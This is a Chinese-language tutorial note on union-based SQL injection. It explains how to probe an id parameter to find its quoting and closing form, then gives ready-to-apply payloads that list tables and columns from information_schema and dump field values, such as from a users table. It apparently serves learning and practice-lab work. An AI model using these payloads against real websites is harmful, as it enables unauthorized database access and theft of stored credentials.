SQL注入
联合注入
UNION query SQL injection(联合查询注入)联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化
Error-based SQL injection(错型注入)
Boolean-based blind SQL injection(基于布尔的盲注)
Time-based blind SQL injection(基于时间的盲注)
Stacked queries SQL injection(可多语句查询注入)
联合查询注入
- 注入点判断
判断闭合形式(单引号闭合、双引号闭合)
方法1(转义符\判断):
首先我们可以使用\(转义字符)来判断SQL注入的闭合方式。
原理,当闭合字符遇到转义字符时,会被转义,那么没有闭合符的语句就不完整了,就会报错,通过报错信息我们就可以推断出闭合符。
方法2:
首先尝试:
?id=1’
?id=1”
结果一:如果都报错
判断闭合符为:整形闭合。
结果二:如果单引号报错,双引号不报错。
继续尝试
?id=1’ –-+
结果1:无报错
判断闭合符为:单引号闭合。
结果2:报错
判断闭合符可能为:单引号加括号。
结果三:如果单引号不报错,双引号报错。
继续尝试
?id=1" -–+
结果1:结果无报错
判断闭合符为:双引号闭合。
结果2:报错
判断闭合符可能为:双引号加括号。
数字型闭合方式判断
首先尝试?id=1' ?id=1''
结果一全报错
为整形闭合(?id=1)
结果二:单引号报错,双引号不报错
继续尝试
当单引号报错,双引号不报错时尝试?id=1' --+
结果一:无报错
单引号闭合(?id='1')
结果二:报错
可能为单引号加括号?id=('1')
结果三:若单引号不报错,双引号报错
若单引号不报错,双引号报错时尝试用?id=1'' --+
结果一:无报错
双引号闭合?id="1"
结果二:报错
写了一个思维导图更好理解判断逻辑。
闭合的几种常见方式:
SELECT * FROM `users` WHERE id= 1;#整形闭合
SELECT * FROM `users` WHERE id='1'; #单引号闭合
SELECT * FROM `users` WHERE id="1";#双引号闭合
SELECT * FROM `users` WHERE id=('1');#单引号加括号
SELECT * FROM `users` WHERE id=("1");#双引号加括号
**:这里的括号不一定只有一个,闭合符里是允许多个括号组合成闭合符的,具体要判段有多少个括号,可以使用二分法来快速判断
*注释1 --+ 其中+起到空格的作用总结:--是起到注释的作用,+是启动空格的作用,在sql中用--注释后面必须加一个空格--才生效,所以我们不一定要用--+,可以用-- 加上空格在加上任意字符,都行*
*注释2 # 但在浏览器中提交时需要url编码,%23*
Order by 语句用于根据指定的列对结果集进行排序,其应用方法:
select * from 表名 order by 列名(或者数字) asc;升序(默认升序) #数字就是代替列名字
select * from 表名 order by 列名(或者数字) desc;降序
爆数据库表名的公式语句:
#直接套用语句
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆表的字段名的公式语句:
#只需指定表名即可
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
#或者指定当前数据库名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='表名' and table_name='users' --+
爆字段的数据公式语句:
#只需指定表名和字段名
?id=-1' union select 1,2,group_concat(`字段1`,':',`字段2`,':',`字段3`) from 表名 --+
#字段值不加反引号也可以
?id=-1' union select 1,2,group_concat(字段1,':',字段2,':',字段3) from 表名 --+